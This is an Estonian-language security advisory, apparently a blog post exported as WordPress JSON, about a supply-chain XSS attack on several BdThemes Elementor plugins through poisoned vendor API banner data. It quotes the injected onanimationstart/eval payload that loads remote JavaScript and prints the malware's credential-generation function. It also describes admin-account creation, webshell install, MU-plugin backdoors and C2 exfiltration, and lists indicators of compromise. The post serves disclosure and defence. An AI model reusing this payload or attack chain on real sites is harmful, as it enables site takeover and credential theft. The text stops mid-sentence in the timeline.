{"id":250,"date":"2026-08-09T10:42:55","date_gmt":"2026-08-09T08:42:55","guid":{"rendered":"https:\/\/helloblog.io\/et\/bdthemes-api-pohine-tarneahela-runne\/"},"modified":"2026-08-09T10:42:55","modified_gmt":"2026-08-09T08:42:55","slug":"bdthemes-api-pohine-tarneahela-runne","status":"publish","type":"post","link":"https:\/\/helloblog.io\/et\/bdthemes-api-pohine-tarneahela-runne\/","title":{"rendered":"BdThemesi pluginates avastati API-p\u00f5hine tarneahela r\u00fcnne"},"content":{"rendered":"\n<p>BdThemesi pluginates kasutatud haldusb\u00e4nneri komponent v\u00f5imaldas r\u00fcndajatel v\u00f5tta WordPressi sait \u00fcle ilma plugina faili v\u00f5i uuendust muutmata. Piisas sellest, et nad asendasid tarnija kaug-API JSON-vastuse pahatahtliku sisuga: iga sisselogitud administraatori <code>wp-admin<\/code>-i lehe avamine k\u00e4ivitas siis r\u00fcndaja JavaScripti.<\/p>\n\n\n\n<p>M\u00f5jutatud pluginad on WordPressi pluginate kataloogis uurimise ajaks ajutiselt suletud. Kui sinu saidil t\u00f6\u00f6tab m\u00f5ni neist, k\u00e4sitle saiti kompromiteerimisohus olevana ning kontrolli kohe kasutajaid, pluginate katalooge ja andmebaasi.<\/p>\n\n\n\n<div class=\"wp-block-group callout callout-danger is-style-danger is-layout-flow wp-block-group-is-layout-flow\" style=\"border-width:1px;border-radius:8px;padding-top:1rem;padding-right:1.5rem;padding-bottom:1rem;padding-left:1.5rem\">\n\n<h4 class=\"wp-block-heading callout-title\">Miks see r\u00fcnnak on tavap\u00e4rasest ohtlikum<\/h4>\n\n\n<p>R\u00fcnnak ei muutnud WordPress.org-i hoidlas \u00fchtegi l\u00e4htekoodifaili ega pruukinud muuta saidi faile enne p\u00fcsivuse loomist. Ainult failide tervikluse v\u00f5rdlemisest ei piisa selle intsidendi avastamiseks.<\/p>\n\n<\/div>\n\n\n\n<h2 class=\"wp-block-heading\">M\u00f5jutatud pluginad<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n\n<li>Element Pack Addons for Elementor (<code>bdthemes-element-pack-lite<\/code>)<\/li>\n\n\n<li>Prime Slider Addons for Elementor (<code>bdthemes-prime-slider-lite<\/code>)<\/li>\n\n\n<li>Pixel Gallery Addons for Elementor (<code>pixel-gallery<\/code>)<\/li>\n\n\n<li>Ultimate Post Kit Addons for Elementor (<code>ultimate-post-kit<\/code>)<\/li>\n\n\n<li>Ultimate Store Kit \u2013 Addon For WooCommerce, EDD and Elementor (<code>ultimate-store-kit<\/code>)<\/li>\n\n\n<li>Live Copy Paste for Elementor (<code>live-copy-paste<\/code>)<\/li>\n\n\n<li>Smart Admin Assistant (<code>smart-admin-assistant<\/code>)<\/li>\n\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Kuidas m\u00fcrgitatud API-vastus XSS-i k\u00e4ivitas<\/h2>\n\n\n\n<p>BdThemesi pluginad sisaldavad sisemist komponenti nimega <em>Biggopti<\/em>. See laadib tarnija API-st reklaamb\u00e4nnereid ja kuvab need WordPressi haldusalas. API ei kasuta d\u00fcnaamilist rakendusserverit, vaid Cloudflare&#8217;iga kaitstud DigitalOcean Spacesi objektihoidlas paiknevaid staatilisi JSON-faile.<\/p>\n\n\n\n<p>Iga Biggoptit kasutav plugin lisab <code>admin_init<\/code> hook&#8217;i ajal kliendipoolse JavaScripti. Skript k\u00e4ivitub tingimusteta igal <code>wp-admin<\/code>-i lehelaadimisel, k\u00fcsib API-st b\u00e4nneriandmed ning koostab DOM-is teate HTML-i. Probleem tekkis v\u00e4ljal <code>display_id<\/code>: skript kirjutas selle v\u00e4\u00e4rtuse ilma paojuta HTML-i <code>id<\/code>-atribuuti.<\/p>\n\n\n<a href=\"https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/id\/7bf1d6f9-afe2-41c2-968b-20dbc474cd73\" class=\"download-card\" download>\n                <span class=\"download-icon\"><i class=\"fa-duotone fa-file-code\"><\/i><\/span>\n                <span class=\"download-info\">\n                    <span class=\"download-title\">Haavatav `display_id`-v\u00e4\u00e4rtuse kasutus<\/span>\n                    <span class=\"download-meta\"><span class=\"download-filename\">biggopti.js<\/span><\/span>\n                <\/span>\n                <span class=\"download-action\"><i class=\"fa-duotone fa-arrow-down-to-line\"><\/i><\/span>\n            <\/a>\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#24292e\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#e1e4e8;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>\/\/ V\u00e4\u00e4rtust ei paota enne HTML-atribuuti lisamist.\nvar f = t.display_id || t.id || &quot;default&quot;;\nvar m = &quot;bdt-admin-biggopti-api-biggopti-&quot; + f;\nA = 'id=&quot;' + m + '&quot;';\n<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki github-dark\" style=\"background-color:#24292e;color:#e1e4e8\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color:#6A737D\">\/\/ V\u00e4\u00e4rtust ei paota enne HTML-atribuuti lisamist.<\/span><\/span>\n<span class=\"line\"><span style=\"color:#F97583\">var<\/span><span style=\"color:#E1E4E8\"> f <\/span><span style=\"color:#F97583\">=<\/span><span style=\"color:#E1E4E8\"> t.display_id <\/span><span style=\"color:#F97583\">||<\/span><span style=\"color:#E1E4E8\"> t.id <\/span><span style=\"color:#F97583\">||<\/span><span style=\"color:#9ECBFF\"> \"default\"<\/span><span style=\"color:#E1E4E8\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color:#F97583\">var<\/span><span style=\"color:#E1E4E8\"> m <\/span><span style=\"color:#F97583\">=<\/span><span style=\"color:#9ECBFF\"> \"bdt-admin-biggopti-api-biggopti-\"<\/span><span style=\"color:#F97583\"> +<\/span><span style=\"color:#E1E4E8\"> f;<\/span><\/span>\n<span class=\"line\"><span style=\"color:#79B8FF\">A<\/span><span style=\"color:#F97583\"> =<\/span><span style=\"color:#9ECBFF\"> 'id=\"'<\/span><span style=\"color:#F97583\"> +<\/span><span style=\"color:#E1E4E8\"> m <\/span><span style=\"color:#F97583\">+<\/span><span style=\"color:#9ECBFF\"> '\"'<\/span><span style=\"color:#E1E4E8\">;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>Samas koodis paotakse <code>data-display-id<\/code>-atribuudi v\u00e4\u00e4rtus korrektselt: funktsioon asendab m\u00e4rgid <code>&amp;<\/code>, <code>&lt;<\/code>, <code>&gt;<\/code>, ja <code>&quot;<\/code> nende HTML-olemitega. B\u00e4nneri <code>content<\/code>-v\u00e4ljale lisati hilisemates versioonides ka DOMParseril p\u00f5hinev puhastus, mis eemaldab ohtlikud HTML-sildid ja inline-handlerid. <code>id<\/code>-atribuudi s\u00fcstekoht j\u00e4i siiski paotamata.<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#24292e\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#e1e4e8;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>function escapeAttribute(value) {\n  return (value || &quot;&quot;)\n    .replace(\/&amp;\/g, &quot;&amp;amp;&quot;)\n    .replace(\/&lt;\/g, &quot;&amp;lt;&quot;)\n    .replace(\/&gt;\/g, &quot;&amp;gt;&quot;)\n    .replace(\/&quot;\/g, &quot;&amp;quot;&quot;);\n}\n<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki github-dark\" style=\"background-color:#24292e;color:#e1e4e8\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color:#F97583\">function<\/span><span style=\"color:#B392F0\"> escapeAttribute<\/span><span style=\"color:#E1E4E8\">(<\/span><span style=\"color:#FFAB70\">value<\/span><span style=\"color:#E1E4E8\">) {<\/span><\/span>\n<span class=\"line\"><span style=\"color:#F97583\">  return<\/span><span style=\"color:#E1E4E8\"> (value <\/span><span style=\"color:#F97583\">||<\/span><span style=\"color:#9ECBFF\"> \"\"<\/span><span style=\"color:#E1E4E8\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">    .<\/span><span style=\"color:#B392F0\">replace<\/span><span style=\"color:#E1E4E8\">(<\/span><span style=\"color:#9ECBFF\">\/<\/span><span style=\"color:#DBEDFF\">&#x26;<\/span><span style=\"color:#9ECBFF\">\/<\/span><span style=\"color:#F97583\">g<\/span><span style=\"color:#E1E4E8\">, <\/span><span style=\"color:#9ECBFF\">\"&#x26;amp;\"<\/span><span style=\"color:#E1E4E8\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">    .<\/span><span style=\"color:#B392F0\">replace<\/span><span style=\"color:#E1E4E8\">(<\/span><span style=\"color:#9ECBFF\">\/<\/span><span style=\"color:#DBEDFF\">&#x3C;<\/span><span style=\"color:#9ECBFF\">\/<\/span><span style=\"color:#F97583\">g<\/span><span style=\"color:#E1E4E8\">, <\/span><span style=\"color:#9ECBFF\">\"&#x26;lt;\"<\/span><span style=\"color:#E1E4E8\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">    .<\/span><span style=\"color:#B392F0\">replace<\/span><span style=\"color:#E1E4E8\">(<\/span><span style=\"color:#9ECBFF\">\/<\/span><span style=\"color:#DBEDFF\">><\/span><span style=\"color:#9ECBFF\">\/<\/span><span style=\"color:#F97583\">g<\/span><span style=\"color:#E1E4E8\">, <\/span><span style=\"color:#9ECBFF\">\"&#x26;gt;\"<\/span><span style=\"color:#E1E4E8\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">    .<\/span><span style=\"color:#B392F0\">replace<\/span><span style=\"color:#E1E4E8\">(<\/span><span style=\"color:#9ECBFF\">\/<\/span><span style=\"color:#DBEDFF\">\"<\/span><span style=\"color:#9ECBFF\">\/<\/span><span style=\"color:#F97583\">g<\/span><span style=\"color:#E1E4E8\">, <\/span><span style=\"color:#9ECBFF\">\"&#x26;quot;\"<\/span><span style=\"color:#E1E4E8\">);<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">}<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>Haavatavus sai alguse 1. m\u00e4rtsil 2026, kui Prime Slideri versioonis 4.1.9 lisati SVN-i commit <code>r3471891<\/code>. Seej\u00e4rel j\u00f5udis sama muster teistesse pluginatesse. R\u00fcndaja sai kirjutus\u00f5iguse tarnija objektihoidlasse, asendas \u00f5iged JSON-vastused r\u00fcndekoodiga ning murdis <code>display_id<\/code> abil <code>id<\/code>-atribuudist v\u00e4lja.<\/p>\n\n\n\n<p>S\u00fcstitud v\u00e4\u00e4rtus lisas <code>onanimationstart<\/code>-i s\u00fcndmuse t\u00f6\u00f6tleja. CSS-animatsioon kutsus selle umbes 10 millisekundi jooksul esile, nii et r\u00fcndekood k\u00e4ivitus administraatori jaoks m\u00e4rkamatult igal haldusala lehel. \u00dches n\u00e4htud API-vastuses algas v\u00e4\u00e4rtus kujul <code>SAFE&quot; onanimationstart=eval(String.fromCharCode(...)) style=animation:wrapperSlideInTop .01s ease-out both<\/code>; dekodeeritud kood laadis v\u00e4lise JavaScripti URL-ilt <code>https:\/\/api.sigmative.io\/prod\/store\/api\/biggopti\/x.js?_ =1<\/code>.<\/p>\n\n\n\n<p>Haavatavus on XSS ehk cross-site scripting: kui r\u00fcndaja kontrollib API serverit, saab ta lisada veebiskripti, mis k\u00e4ivitub iga kasutaja brauseris, kes nakatatud lehe avab. Selle juhtumi CVSS-i hinne on 5,4 ehk keskmine ning parandust polnud avaldatud.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Kaheastmeline r\u00fcndevoog<\/h2>\n\n\n\n<p>R\u00fcndeahel kasutas s\u00f5ltuvalt plugina API endpointist kahte payloadi. Peamine <code>w2.js<\/code> j\u00f5udis pluginateni endpointi <code>api-data-all-records<\/code> kaudu. Teine payload <code>x.js<\/code> paiknes otse BdThemesi infrastruktuuris ning j\u00f5udis ohvriteni endpointi <code>api-data-records<\/code> kaudu.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Peamine payload <code>w2.js<\/code><\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n\n<li><strong>C2 kontroll.<\/strong> Skript saatis saidi origin&#8217;i C2-serverile <code>ia-cdn[.]com\/fz\/c<\/code>, et saada sihtimise juhiseid. Kui vastuseks tuli <code>skip<\/code> v\u00f5i <code>done<\/code>, l\u00f5petas skript t\u00f6\u00f6.<\/li>\n\n\n<li><strong>V\u00f5ltsadmini loomine.<\/strong> Skript kasutas aktiivse administraatoriseansi <code>X-WP-Nonce<\/code>-i ja l\u00f5i WordPressi REST API kaudu uue administraatori. Kui see ei \u00f5nnestunud, proovis see standardset kasutaja lisamise vormi.<\/li>\n\n\n<li><strong>Webshelli paigaldus.<\/strong> Skript laadis C2-serverist alla v\u00f5ltsitud plugina ZIP-faili ning paigaldas selle tavap\u00e4rase plugina \u00fcleslaadimise vormi kaudu. Plugin maskeerus n\u00e4iteks slug&#8217;iga <code>wp-smart-thumbnails<\/code> v\u00f5i muu neutraalse k\u00f5laga nimega. Selles paiknes URL-i kaudu otse k\u00e4ivitatav webshell <code>emer-run.php<\/code>.<\/li>\n\n\n<li><strong>MU-pluginate kaudu p\u00fcsivuse loomine.<\/strong> <code>emer-run.php<\/code> paigaldas Must-Use pluginate kataloogi kaks p\u00fcsivusmoodulit. M\u00f5lemal uuritud n\u00e4idisel oli failiaeg tagasikuup\u00e4evastatud 2025. aasta septembrisse, et need sulanduksid tavap\u00e4raste failis\u00fcsteemi ajatemplitega; failinimed v\u00f5ivad nakkuste vahel erineda. Esimene moodul lubas ilma autentimata administraatorisse siseneda URL-i parameetriga <code>?_wplogin=&lt;token&gt;<\/code> ning sihtis saidi k\u00f5ige varem registreeritud administraatorit. Teine moodul hook&#8217;is WordPressi andmebaasip\u00e4ringuid, peitis loodud v\u00f5ltskontod haldusala kasutajaloendist ja v\u00e4hendas ka kasutajate koguarvu.<\/li>\n\n\n<li><strong>Tulemuste v\u00e4ljavedu.<\/strong> Skript saatis iga k\u00e4ivitusetapi tulemused C2-serverisse <code>navigator.sendBeacon<\/code>-i abil.<\/li>\n\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Alternatiivne payload <code>x.js<\/code><\/h3>\n\n\n\n<p>Teine skript arvutas administraatori kasutajanime ja parooli deterministlikult saidi hostinime p\u00f5hjal. Kasutajanime kuju oli <code>bd_<\/code> pluss kuuekohaline base36-r\u00e4si ning parool oli <code>Bd@26!<\/code> pluss sama r\u00e4si ja l\u00f5pus <code>x<\/code>. Konto e-posti aadressiks m\u00e4\u00e4rati sellele kasutajanimele vastav <code>@wordpress.org<\/code> aadress.<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#24292e\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#e1e4e8;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>function makeCreds() {\n  var host = siteKey();\n  var hash = 0;\n\n  for (var i = 0; i &lt; host.length; i++) {\n    hash = ((hash &lt;&lt; 5) - hash + host.charCodeAt(i)) | 0;\n  }\n\n  var n = Math.abs(hash).toString(36).slice(0, 6);\n  return {\n    user: 'bd_' + n,\n    pass: 'Bd@26!' + n + 'x'\n  };\n}\n<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki github-dark\" style=\"background-color:#24292e;color:#e1e4e8\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color:#F97583\">function<\/span><span style=\"color:#B392F0\"> makeCreds<\/span><span style=\"color:#E1E4E8\">() {<\/span><\/span>\n<span class=\"line\"><span style=\"color:#F97583\">  var<\/span><span style=\"color:#E1E4E8\"> host <\/span><span style=\"color:#F97583\">=<\/span><span style=\"color:#B392F0\"> siteKey<\/span><span style=\"color:#E1E4E8\">();<\/span><\/span>\n<span class=\"line\"><span style=\"color:#F97583\">  var<\/span><span style=\"color:#E1E4E8\"> hash <\/span><span style=\"color:#F97583\">=<\/span><span style=\"color:#79B8FF\"> 0<\/span><span style=\"color:#E1E4E8\">;<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color:#F97583\">  for<\/span><span style=\"color:#E1E4E8\"> (<\/span><span style=\"color:#F97583\">var<\/span><span style=\"color:#E1E4E8\"> i <\/span><span style=\"color:#F97583\">=<\/span><span style=\"color:#79B8FF\"> 0<\/span><span style=\"color:#E1E4E8\">; i <\/span><span style=\"color:#F97583\">&#x3C;<\/span><span style=\"color:#E1E4E8\"> host.<\/span><span style=\"color:#79B8FF\">length<\/span><span style=\"color:#E1E4E8\">; i<\/span><span style=\"color:#F97583\">++<\/span><span style=\"color:#E1E4E8\">) {<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">    hash <\/span><span style=\"color:#F97583\">=<\/span><span style=\"color:#E1E4E8\"> ((hash <\/span><span style=\"color:#F97583\">&#x3C;&#x3C;<\/span><span style=\"color:#79B8FF\"> 5<\/span><span style=\"color:#E1E4E8\">) <\/span><span style=\"color:#F97583\">-<\/span><span style=\"color:#E1E4E8\"> hash <\/span><span style=\"color:#F97583\">+<\/span><span style=\"color:#E1E4E8\"> host.<\/span><span style=\"color:#B392F0\">charCodeAt<\/span><span style=\"color:#E1E4E8\">(i)) <\/span><span style=\"color:#F97583\">|<\/span><span style=\"color:#79B8FF\"> 0<\/span><span style=\"color:#E1E4E8\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">  }<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color:#F97583\">  var<\/span><span style=\"color:#E1E4E8\"> n <\/span><span style=\"color:#F97583\">=<\/span><span style=\"color:#E1E4E8\"> Math.<\/span><span style=\"color:#B392F0\">abs<\/span><span style=\"color:#E1E4E8\">(hash).<\/span><span style=\"color:#B392F0\">toString<\/span><span style=\"color:#E1E4E8\">(<\/span><span style=\"color:#79B8FF\">36<\/span><span style=\"color:#E1E4E8\">).<\/span><span style=\"color:#B392F0\">slice<\/span><span style=\"color:#E1E4E8\">(<\/span><span style=\"color:#79B8FF\">0<\/span><span style=\"color:#E1E4E8\">, <\/span><span style=\"color:#79B8FF\">6<\/span><span style=\"color:#E1E4E8\">);<\/span><\/span>\n<span class=\"line\"><span style=\"color:#F97583\">  return<\/span><span style=\"color:#E1E4E8\"> {<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">    user: <\/span><span style=\"color:#9ECBFF\">'bd_'<\/span><span style=\"color:#F97583\"> +<\/span><span style=\"color:#E1E4E8\"> n,<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">    pass: <\/span><span style=\"color:#9ECBFF\">'Bd@26!'<\/span><span style=\"color:#F97583\"> +<\/span><span style=\"color:#E1E4E8\"> n <\/span><span style=\"color:#F97583\">+<\/span><span style=\"color:#9ECBFF\"> 'x'<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">  };<\/span><\/span>\n<span class=\"line\"><span style=\"color:#E1E4E8\">}<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>Kuna algoritm annab sama hostinime korral alati samad kasutajaandmed, ei pea r\u00fcndajad kompromiteeritud saitide loendit keskselt hoidma. Intsidendile reageerija saab kahtlusaluse domeeni p\u00f5hjal t\u00e4pse kasutajanime ja parooli v\u00e4lja arvutada ning nende j\u00e4rgi jahti pidada.<\/p>\n\n\n\n<p>Seej\u00e4rel laadis skript <code>user-new.php<\/code> lehe, otsis sealt nonce&#8217;i ja logouti URL-i ning saatis vormip\u00e4ringu, mis l\u00f5i administraatorirolliga kasutaja. Tulemus, kasutajanimi, parool, saidi origin, logouti URL ja praegune lehe URL saadeti C2-le esmalt <code>sendBeacon<\/code>-iga; eba\u00f5nnestumisel kasutati <code>fetch<\/code>-i <code>no-cors<\/code>-re\u017eiimis. \u00d5nnestunud v\u00f5i juba olemasoleva konto j\u00e4rel salvestas skript brauseri <code>localStorage<\/code>-isse lipu, kui see oli v\u00f5imalik.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Seos, ulatus ja risk<\/h2>\n\n\n\n<p>C2-domeen seostub samade r\u00fcndajatega, kes korraldasid eelneva kahe kuu jooksul Advanced Responsive Video Embedderi ja OptinMonsteri tarneahela r\u00fcnded. Kampaania eesm\u00e4rk on luua suurel hulgal WordPressi keskkondades m\u00e4rkamatult administraatoritaseme p\u00fcsivus ja kaugk\u00e4ivitatav kood.<\/p>\n\n\n\n<p>R\u00fcndajad ei pidanud saitidele eraldi ligi p\u00e4\u00e4sema: usaldatud haldusb\u00e4nneri andmevoo m\u00fcrgitamine kasutas \u00e4ra kuvamiskoodi vea. Pahatahtlike JSON-kirjete ja <code>x.js<\/code>-i \u00fcleslaadimine BdThemesi enda hoidlasse viitab sellele, et kompromiteeriti t\u00f5siselt tarnija pilvesalvestuse volitusi v\u00f5i sisemist infrastruktuuri.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Kompromiteerimise indikaatorid<\/h2>\n\n\n\n<p>Kontrolli neid indikaatoreid nii failis\u00fcsteemist kui andmebaasist. \u00c4ra piirdu \u00fcksnes selle kontrolliga, kas plugina failid on muutunud.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n\n<li>Peamine payload: <code>ia-cdn[.]com\/fz\/w2.js<\/code>.<\/li>\n\n\n<li>C2 beacon endpoint: <code>ia-cdn[.]com\/fz\/c<\/code>.<\/li>\n\n\n<li>M\u00fcrgitatud tarnija endpointid, mis on n\u00fc\u00fcdseks puhastatud: <code>api[.]sigmative[.]io\/prod\/store\/api\/biggopti\/api-data-all-records<\/code>, <code>api[.]sigmative[.]io\/prod\/store\/api\/biggopti\/api-data-records<\/code> ja <code>api[.]sigmative[.]io\/prod\/store\/api\/biggopti\/x.js<\/code>.<\/li>\n\n\n<li>Webshell <code>emer-run.php<\/code>, MD5 <code>1024732009983dd5e54b4cf5593f04d4<\/code>.<\/li>\n\n\n<li>MU-plugina magic-login backdoor <code>class-wp-token-validate.php<\/code>, MD5 <code>7719cd98a35ffad2771f26d1ceab7d27<\/code>.<\/li>\n\n\n<li>MU-plugina varjemoodul <code>class-wp-query-9d127ff3.php<\/code> v\u00f5i sarnase nimekujuga <code>class-wp-query-*.php<\/code>, MD5 <code>9aadc3e5c5242b273bd17c5bdc358845<\/code>.<\/li>\n\n\n<li>MU-plugina \u201ehealth check\u201d moodul <code>wp-cache-optimizer.php<\/code>, MD5 <code>e450ae5bc4bfc0d960dded06a76bb8e9<\/code>.<\/li>\n\n\n<li>Andmebaasi suvand <code>fz_emer_login_tokens<\/code>, kus hoitakse magic-login tokeneid.<\/li>\n\n\n<li>Andmebaasi suvand <code>fz_emer_done_v1<\/code>, mis m\u00e4rgib kompromiteerimise l\u00f5petatuks.<\/li>\n\n\n<li>Kontod, mille e-posti domeen on <code>@wordpress.org<\/code> v\u00f5i <code>@developer.wordpress.org<\/code>.<\/li>\n\n\n<li>Kasutajanimed kujul <code>bd_<\/code> ja sellele j\u00e4rgnev kuus t\u00e4he-numbrim\u00e4rki.<\/li>\n\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Ajajoon<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n\n<li><strong>1. m\u00e4rts 2026:<\/strong> Biggopti API JavaScript lisati Prime Slideri versiooni 4.1.9 SVN commit&#8217;iga <code>r3471891<\/code>. <code>display_id<\/code> j\u00f5udis paotamata <code>id<\/code>-atribuuti ning API endpoint oli <code>api-data-records<\/code>.<\/li>\n\n\n<li><strong>10. mai 2026:<\/strong> endpoint muudeti <code>api-data-all-records<\/code>-iks. <code>content<\/code>-v\u00e4ljale lisati DOMParseri 